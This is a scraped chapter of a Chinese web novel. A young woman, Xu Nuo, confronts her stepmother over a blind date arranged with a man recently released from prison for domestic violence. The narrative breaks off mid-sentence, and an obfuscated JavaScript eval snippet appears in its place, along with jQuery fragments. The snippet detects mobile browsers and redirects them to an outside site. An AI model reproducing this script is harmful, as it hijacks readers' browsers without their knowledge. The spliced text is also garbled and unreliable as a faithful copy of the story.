默认冷灰
24号文字
方正启体

25. 第 25 章

作者:镜椿本书字数:K更新时间:
    胡竹茹凝视她好一会,许诺顺手把电话挂了,以致于江奕泽没能及时听到胡竹茹的声音。


    胡竹茹瞧她挂了电话才转身继续往上爬,胸脯起伏跌宕,呼吸粗重:“待会见人的时候手机调成静音,一点礼数都没有。”


    “别落人口舌,说我没教好你。”


    相比于没怎么运动过的两人,许诺的呼吸只是稍稍紊乱,没有那么粗重。


    她头上打出了一个超大问号,对胡竹茹的话觉得莫名其妙。


    同时也在好奇,要见的人到底是谁,胡竹茹如此重视,大费周章也要让自己见到他。


    一行人爬到四楼,按门铃前,胡竹茹低头整理了一下自己的衣服,又回头瞪许诺,让她也撺掇几下,进去后不要丢人。


    许诺对她的神经兮兮已经免疫了,两手一交叉揣在胸前,一副不着调的模样,看得胡竹茹能怄出两升血。


    不过,她有那张脸。


    许诺就算板着张脸,也是极好看的,一双微微上挑的凤眼,瞳色是茶色,鼻子秀挺,红唇嫣然,明艳与纯真相融得浑然天成。


    里头的人很快应门,传出一道浑厚沉浊的男音。


    门打开,许诺跟着胡竹茹和她的情人进去。


    屋里头的陌生男人招呼他们,给他们各自倒了一杯水。


    许诺却只是站在门口处没动,没有在小圆桌前的椅子落座。


    胡竹茹坐定后发现许诺还站在门口处,不由得催促:“小诺,你站在那干什么,快过来坐下啊。”


    许诺充耳不闻,依旧保持原姿势没动,冷冷睨着偷瞄自己的男人。


    男人目测三十多岁,皮肤小麦色,长得挺周正的,但就是眉骨自带凶色。


    一米七多的身高,人却生得壮实,如若他真要对她做些什么,许诺可以笃定自己不是他的对手。


    她凝眸冷嗤了一声,语调端着不经心的寒意,眼尾的余光直扫胡竹茹,“这是妈给我找的新爸爸吗?”


    “这事儿我江叔叔知道吗?他应该会很寒心吧?”


    “妈这么始乱终弃啊,可别把江叔叔气死了。”


    她无辜地翘眉,刻意拖着长长的语调,要笑不笑。


    话音刚落,屋子里的其余三人脸色各有各的古怪。


    胡竹茹脸色铁青,咬紧后槽牙上前就要拽她,沉嗓:“许诺,你在这胡说八道什么。”


    “简直没大没小,我是你妈,你到底有没有把我这个长辈放在眼里?”


    许诺身形微侧,巧妙避开她的拉扯,眼底冷光翻涌,嘴唇却是微牵,意味不明地哂笑一声:“我有没有胡说,妈妈您心里最清楚呢。”


    紧接着,她眼尾余光扫过桌子边静坐着的两位男人,疑似恍若大悟,指尖指向之前驾驶座位上的男人,“难道是我误会了,这位叔叔不是妈妈的情人,现在房间里的这位才是?”


    被指中的男人尴尬地怔仲一秒,脸色一阵青白交加,转瞬又皱起眉对许诺表达不满,语气不悦,斥责道:“够了,你别胡说了,你妈妈今天特意带我们过来,是为了给你相亲,你少败坏我们长辈的名声。”


    原来是这样啊。


    许诺扯唇,眼睛里的冷嘲藏都藏不住,嘴角噙着一抹凉丝丝的笑,慢悠悠踱步到桌边,“给我相亲?”


    她大学学业都没有完成,就这么急不可待地要把自己泼出去吗?


    指尖轻轻敲了敲桌面,许诺的声音不高却带着刺骨的寒意,目光扫过两位男人,又落回到面色不虞的胡竹茹身上,开口:“我大学学业都没完成,毕业证还没到手,妈妈倒是比谁都急,这么迫不及待就要把我打包送人,是怕我留在家里多占一口饭?还是觉得早点把我嫁出去,既能彻底甩开我这个累赘,又彻底除掉我这个心头大患?”


    “你是有什么事害怕被我发现吗?”许诺歪了一下头,语气无辜又掺杂讥讽。


    胡竹茹咽了一下口水,不自觉捏紧手指。


    许诺最后一个无意的问题此刻宛如一颗地雷,炸得她不知所措,一时间她连回应都忘了。


    难道许诺知道了?


    如果她知道了,那她知道了多少?


    可倘若她真知道了,以自己对她的了解,她早就把天掀了,搅个天翻地覆,而不是眼下这么平和。


    所以她应该暂时没发现,胡竹茹给自己打了一剂镇定剂。


    脸上努力维持出风轻云淡,看着她,“你这孩子说什么呢,我听不懂。”


    许诺眉宇挂着冰霜,不作声,静静瞅着她。


    胡竹茹咬牙,摆出一副受伤的模样,“许诺,你扪心自问,我养你这么大,我有害过你吗?我要是真的想把你往火坑里推,你今天也没机会站在我跟前放肆了。许诺,我这个母亲做得比谁都称职,你对我的不满和不敬,我倒是觉得很寒心。”


    “至于相亲,我也是为了你好。我现在没逼着你结婚,没有让你辍学,只是相着,毕业了才结婚。早打算着,免得到时候没有人要你。”


    人无语至极的时候会笑出声。


    许诺笑了两声,在这种剑拔弩弓的场面,她的笑声像是裹了毒的蜜,“所以您就招了一大堆情人不离身是吗?”


    许诺顺着她的逻辑走,直击她的要害,“你每年都光明正大地把不三不四的人领进家里,原来是怕以后没有人要你啊。”


    许诺其实对她每年换几个男友情人一点异议也没有,因为这和她一点关系都没有!


    但是,胡竹茹既然用没有男人要的说辞来搪塞自己,那自己就用同样的说辞套回她身上。


    胡竹茹指尖死死攥紧裙摆,指节泛白,却硬生生压下翻涌的怒意。


    脸上勉强挤出几分端庄的冷色,声音却发紧,语气带着刻意维持的威严:“许诺,你给我住嘴!满嘴荒唐话,你丢不丢脸!”


    许诺闻言没搭腔,视线转而落在房间里存在感不高的两位男人身上,嘴角勾起一抹讥讽的弧度,“您两位也别装模作样了,真要是清清白白的正经人,会大摇大摆待在这,看着我们母女争执却坐视不管?怕不是各取所需,早就跟我这位‘好妈妈’达成了什么见不得人的交易吧?”


    被戳中心思的男人们脸色彻底沉了下来,先前的尴尬全然褪去,取而代之的是几分戾气。


    胡竹茹的情人语气不善地出声:“真让我见识到了,年纪不大,嘴巴却这么毒,难怪你母亲管不住你。”


    “还有,我跟胡女士是正经男女朋友,轮不到你一个小辈指手画脚。”


    另一个男人没说话,眼神却是阴恻恻的,目光令许诺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928902|190933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    泛起生理性不适。


    这相亲对象看起来就不是什么好东西。


    有些人,长得周正,看起来老实,底下却不是人的形塑,畜牲装起人来也是像模像样的。


    她的亲生父亲高进就是最好的一个例子。


    许诺没急着应声,胡竹茹倒是志得意满地瞥了她一眼。


    “听见了吗?”


    “是你误会了我的良苦用心,不过我也不会怪你,只是让我明白了,不是亲生的终究不是亲生的。”


    胡竹茹暗戳戳阴阳她白眼狼。


    许诺慢悠悠站直身体,眼底的寒意越发凉薄,眸珠死死盯着胡竹茹,冷呵:“良苦用心?是指把我蒙在鼓里安排相亲、弃之如敝的良苦用心,还是借着养我之名博贤良名声、背地里藏污纳垢的良苦用心?”


    “不是亲生的终究不是亲生的,这话你倒是说得坦荡。你养我一场,从没真心待我半分,眼里只有你的体面和算计,如今被我戳穿丑事,倒反过来倒打一耙,说我是白眼狼?”


    “请妈你摸着良心说说看,这些年你对我有过半分的母女温情吗?不过是把我当成装点门面的摆设、随时可以丢弃的工具,你护过我吗?现在反倒拿亲生与否当借口,既想卖惨博同情,又想把所有脏水都泼到我身上,你这算盘打得,倒是真够精的。”


    言罢,许诺的视线立即扫过一旁默不作声、眼神阴鸷的两位男人,语气越发讥讽:“更何况,你自己品行不端,跟这位‘正经朋友’不清不楚,做尽见不得人的事,还好意思拿亲情道德绑架我?你也是不害臊。”


    胡竹茹脸色黑如锅底,指尖攥得裙摆发皱,眼底的怨毒泄了出来,声音又急又厉:“许诺你真是狼心狗肺!我养你这么大,没有功劳也有苦劳,你如今这般忤逆不孝,传出去看谁还肯容你!”


    “容我?”许诺嗤笑,眼底满是不屑,“世界这么大,难道没有我的容身之所?倒是妈您,不知道这些龌龊事要是传出去,你苦心经营的体面,还能不能保得住。”


    “孽种!”胡竹茹扬起手,巴掌快速朝许诺刮下来。


    许诺反应迅速,抢在巴掌落下来的瞬间闪开,同时端起桌子上的水泼了过去。


    胡竹茹的尖叫声响彻楼层。


    情人再也坐不住,作势追上前抓住许诺,许诺以胡竹茹为盾牌,趁她整理衣服的片刻没有防备,一把将她推了过去。


    情人接住胡竹茹,眼睁睁地瞧着许诺跑出了房间。


    “快追啊!你还要不要老婆了?!”情人恨铁不成钢地回头吼仍旧安坐不动的另一个男人。


    来相亲的男人脸色彻底沉了下来,眼底翻涌着戾气,眼神凶狠得像是要吃人,咬牙切齿地爆了粗:“妈的,你们俩合起伙来耍我是吧!”


    他站起身恶狠狠瞪着他们,“老子才刚从局子里出来没几天,你们就骗个烈性子的来跟我相亲,合着是想把我再送进去蹲几年?”


    对方如果真是个软柿子,和他前妻一样任打任踢,他就上了,不介意凑活过,但先前一番观察下来,那个丫头明显是块硬骨头,性子烈得很,真要闹起来,鱼死网破,他刚出来的安稳日子就彻底泡汤了,没半点好果子吃。


    男人当初因为家暴,被法院强制判了离婚,还实打实蹲了一年大牢。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)